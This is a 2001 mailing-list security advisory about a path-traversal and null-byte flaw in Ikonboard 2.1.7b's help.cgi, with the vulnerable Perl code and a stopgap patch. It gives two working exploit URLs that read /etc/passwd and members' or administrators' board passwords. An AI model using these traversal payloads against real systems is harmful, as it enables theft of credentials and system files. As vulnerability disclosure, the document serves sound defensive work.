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From: Martin J. Muench (muenchGMC-ONLINE.DE)
Date: Sun Mar 11 2001 - 11:43:09 CST

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    -[ Product: Ikonboard
    -[ Version: 2.1.7b
    -[ OS: Unix, NT
    -[ Vendor: Notified, http://www.ikonboard.com

    -=[ Summary ]=-

    This is another bug in the Ikonboard.
    Anyone can read any file on the remote system with
    the privileges of the web server.

    -=[ Problem ]=-

    File: help.cgi

    $inhelpon = $query -> param('helpon');

    As we can see, $inhelpon is the input for 'helpon'

    ---[L.95-97]--- $filetoopen = "$ikondir" . "help/$inhelpon.dat"; $filetoopen = &stripMETA($filetoopen); open (FILE, "$filetoopen") or die "Cannot locate the required files"; --- Well, it sets the file, runs it through the filter and opens it. -> $inhelpon, remember?! ;)

    Ok, i am not going to post the whole filter it uses because they really have been able to write a filter that is 24 lines long. And they finally forgot to filter the backslash, so we can easily just attach the 'poison null-byte' to '$inhelpon' and we escape the '.dat'. And of course the scripts doesn't check for "..", so we can specifiy every path we want.

    -=[ Exploit ]=-


    http://www.gmc-online.de/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00 - would show the password file, if it is readable with the privileges of the web server.

    http://www.gmc-online.de/cgi-bin/ikonboard/help.cgi?helpon=../members/>.cgi%00 - replace <member> with the member name and it shows you his/her board-password. (works with Administrator accounts too)

    -=[ Patches ]=-

    Not yet available. You could fix the script temporary by inserting the following line under line 45 in 'help.cgi':

    $inhelpon =~ s/\///g;

    This is lame, but it works.

    -=[ Greetings ]=-

    Neilk - learned alot from you! Marc Ruef - I promised it ;) DukeCS - thanks for everything! Marko - thanks for your help! Tribunal - you taught me alot, thanks ICB - long time no speak Svoern - "go get 'em" ;)

    So long,

    Martin J. Muench <muenchgmc-online.de> http://mjm.gmc-online.de http://www.german-secure.de

    "Perl - The only language that looks the same before and after RSA encryption." - Keith Bostic